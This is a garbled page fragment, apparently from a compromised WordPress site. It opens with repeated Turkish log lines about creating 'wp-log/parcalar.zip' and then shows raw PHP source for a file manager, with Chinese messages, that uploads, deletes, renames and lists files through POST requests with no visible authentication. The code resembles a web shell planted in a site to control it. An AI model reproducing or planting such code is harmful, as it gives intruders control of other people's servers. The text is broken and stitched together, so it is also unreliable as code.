ZIP olu?turuldu: wp-log/parcalar.zip
ZIP olu?turuldu: wp-log/parcalar.zip
ZIP olu?turuldu: wp-log/parcalar.zip
ZIP olu?turuldu: wp-log/parcalar.zip
ZIP olu?turuldu: wp-log/parcalar.zip
ZIP olu?turuldu: wp-log/parcalar.zip
ZIP olu?turuldu: wp-log/parcalar.zip
ZIP olu?turuldu: wp-log/parcalar.zip
✅ 文件已保存
❌ 无法编辑文件,路径无效或文件不存在
"; exit; } } // **文件上传** if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['uploadFile'])) { $uploadFile = $currentDirectory . '/' . basename($_FILES['uploadFile']['name']); if (move_uploaded_file($_FILES['uploadFile']['tmp_name'], $uploadFile)) { echo "✅ 文件上传成功
"; } else { echo "❌ 文件上传失败
"; } } // **处理批量删除文件** if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['deleteFiles'])) { $filesToDelete = json_decode($_POST['deleteFiles'], true); $deleted = array(); // 使用array()而不是[],兼容PHP 5.2 $errors = array(); // 使用array()而不是[],兼容PHP 5.2 foreach ($filesToDelete as $fileName) { $fileToDelete = realpath($currentDirectory . '/' . $fileName); if ($fileToDelete && strpos($fileToDelete, $documentRoot) === 0 && is_file($fileToDelete)) { if (unlink($fileToDelete)) { $deleted[] = $fileName; } else { $errors[] = $fileName; } } else { $errors[] = $fileName; } } echo json_encode(array("deleted" => $deleted, "errors" => $errors)); // 使用array()而不是[],兼容PHP 5.2 exit; } // **处理文件重命名** if (isset($_POST['rename'])) { $oldName = realpath($currentDirectory . '/' . $_POST['fileName']); $newName = $currentDirectory . '/' . $_POST['copyName']; if ($oldName && strpos($oldName, $documentRoot) === 0) { if (rename($oldName, $newName)) { echo json_encode(array("status" => "success", "message" => "文件已重命名")); // 使用array()而不是[],兼容PHP 5.2 } else { echo json_encode(array("status" => "error", "message" => "重命名失败:权限不足")); // 使用array()而不是[],兼容PHP 5.2 } } else { echo json_encode(array("status" => "error", "message" => "重命名失败:文件不存在")); // 使用array()而不是[],兼容PHP 5.2 } exit; } // **获取当前目录下的文件和文件夹** $fileList = is_dir($currentDirectory) ? scandir($currentDirectory) : array(); // 使用array()而不是[],兼容PHP 5.2 // **面包屑导航** $breadcrumbs = array(); // 使用array()而不是[],兼容PHP 5.2 $pathParts = explode("/", trim(str_replace($documentRoot, "", $currentDirectory), "/")); $pathLink = ""; $breadcrumbs[] = "Home"; foreach ($pathParts as $part) { if (!empty($part)) { // 避免空路径部分 $pathLink .= "/" . $part; $breadcrumbs[] = "" . htmlspecialchars($part) . ""; } } ?>